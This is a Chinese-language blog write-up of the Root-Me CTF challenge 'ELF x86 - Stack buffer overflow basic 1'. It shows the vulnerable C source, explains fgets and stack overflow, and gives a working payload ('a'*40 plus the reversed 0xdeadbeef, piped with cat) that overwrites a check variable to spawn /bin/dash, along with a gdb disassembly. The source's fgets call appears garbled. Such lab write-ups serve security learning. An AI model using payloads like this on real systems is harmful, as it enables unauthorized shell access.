CTF-rootme 题解之ELF x86 - Stack buffer overflow basic 1

LINK:https://www.root-me.org/en/Challenges/App-System/ELF32-Stack-buffer-overflow-basic-1

Reference:n3k0sec.top/2018/10/11/root-me-app-system/

SouceCode:

    #include <stdlib.h>
    #include <stdio.h>
     
    /*
    gcc -m32 -o ch13 ch13.c -fno-stack-protector
    */
     
     
    int main()
    {
     
      int var;
      int check = 0x04030201;
      char buf[40];               //定义缓冲区长度
     
      (buf,45,stdin);
     
      printf("\n[buf]: %s\n", buf);
      printf("[check] %p\n", check);
     
      if ((check != 0x04030201) && (check != 0xdeadbeef))
        printf ("\nYou are on the right way!\n");
     
      if (check == 0xdeadbeef)
       {
         printf("Yeah dude! You win!\nOpening your shell...\n");
         system("/bin/dash");
         printf("Shell closed! Bye.\n");
       }
       return 0;
    }
 
本题主要考察的是对缓冲区溢出的一个理解:
  缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。
缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

以上源代码中定义了内存分配给该程序输入的缓冲区大小为40,当我们的输入长度大于40时,就会导致缓冲区溢出,导致权限提升,执行root权限的shell。

 

首先运行程序输入长度为40的字符串,运行结果如下,程序提示思路正确。

app-systeme-ch13@challenge02:~$ ./ch13
0123456789012345678901234567890123456789


[buf]: 0123456789012345678901234567890123456789

[check] 0x403000a

You are on the right way

 

重点讲一下:当测试输入长度为39个字符时,也可以导致溢出的发生。这是为什么呢?

因为此程序在我们输入一串字符串后需要点击回车换行(\r\n)才可以继续执行,输入字符串长度为39,再加上\r\n两个字符串,我们输入的长度变成了41,实际上一步输入的长度为42.

app-systeme-ch13@challenge02:~$ ./ch13
012345678901234567890123456789012345678


[buf]: 012345678901234567890123456789012345678

[check] 0x403000a

You are on the right way!

C 库函数 - fgets()

描述

C 库函数 char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

声明

下面是 fgets() 函数的声明。

char *fgets(char *str, int n, FILE *stream)

参数

  • str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
  • n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
  • stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。

返回值

如果成功,该函数返回相同的 str 参数。如果到达文件末尾或者没有读取到任何字符,str 的内容保持不变,并返回一个空指针。

如果发生错误,返回一个空指针。

app-systeme-ch13@challenge02:~$ ./ch13
012345678901234567890123456789012345678912345

[buf]: 01234567890123456789012345678901234567891234
[check] 0x34333231

此题中使用fgets()函数来获取用户输入的最大(45-1)长度即44个字符长度的字符串,分析发现check的结果是这44个字符最后4位倒序排列后转换为16进制得到的

此时查看源代码会发现当check == 0xdeadbeef时会以root权限运行/bin/dash,解体法案如下:

方案 1:

使用python构造字符串输入:python -c "print 'a'*40+'DEADBEEF'.decode('hex')"  得到符合check结果为DEADBEEF的字符串

payload:(python -c 'print "a"*40+"DEADBEEF".decode("hex")[::-1]';cat) | ./ch13

不加;cat的话shell会直接退出,因为system(‘/bin/dash’)读到了stdin中的EOF,通过cat占用输入流即可.

方案 2:

app-systeme-ch13@challenge02:~$gdb -q ch13


(gdb) set disassembly-flavor intel           //将汇编设定为intel风格; (gdb) disassemble main                           //反汇编main函数; Dump of assembler code for function main: 0x08048494 <+0>: push ebp 0x08048495 <+1>: mov ebp,esp 0x08048497 <+3>: and esp,0xfffffff0 0x0804849a <+6>: sub esp,0x40 0x0804849d <+9>: mov DWORD PTR [esp+0x3c],0x4030201 0x080484a5 <+17>: mov eax,ds:0x804a020 0x080484aa <+22>: mov DWORD PTR [esp+0x8],eax 0x080484ae <+26>: mov DWORD PTR [esp+0x4],0x2d 0x080484b6 <+34>: lea eax,[esp+0x14] 0x080484ba <+38>: mov DWORD PTR [esp],eax 0x080484bd <+41>: call 0x8048390 <fgets@plt> 0x080484c2 <+46>: mov eax,0x8048620 0x080484c7 <+51>: lea edx,[esp+0x14] 0x080484cb <+55>: mov DWORD PTR [esp+0x4],edx 0x080484cf <+59>: mov DWORD PTR [esp],eax 0x080484d2 <+62>: call 0x8048380 <printf@plt> 0x080484d7 <+67>: mov eax,0x804862c 0x080484dc <+72>: mov edx,DWORD PTR [esp+0x3c] 0x080484e0 <+76>: mov DWORD PTR [esp+0x4],edx 0x080484e4 <+80>: mov DWORD PTR [esp],eax 0x080484e7 <+83>: call 0x8048380 <printf@plt> 0x080484ec <+88>: cmp DWORD PTR [esp+0x3c],0x4030201 0x080484f4 <+96>: je 0x804850c <main+120> 0x080484f6 <+98>: cmp DWORD PTR [esp+0x3c],0xdeadbeef 0x080484fe <+106>: je 0x804850c <main+120> 0x08048500 <+108>: mov DWORD PTR [esp],0x8048638 0x08048507 <+115>: call 0x80483a0 <puts@plt> 0x0804850c <+120>: cmp DWORD PTR [esp+0x3c],0xdeadbeef 0x08048514 <+128>: jne 0x804853a <main+166> ---Type <return> to continue, or q <return> to quit--- 0x08048516 <+130>: mov DWORD PTR [esp],0x8048654 0x0804851d <+137>: call 0x80483a0 <puts@plt> 0x08048522 <+142>: mov DWORD PTR [esp],0x804867e 0x08048529 <+149>: call 0x80483b0 <system@plt> 0x0804852e <+154>: mov DWORD PTR [esp],0x8048688 0x08048535 <+161>: call 0x80483a0 <puts@plt> 0x0804853a <+166>: mov eax,0x0 0x0804853f <+171>: leave 0x08048540 <+172>: ret End of assembler dump.

 

posted @ 2019-03-17 13:00  heycomputer  阅读(810)  评论(0编辑  收藏  举报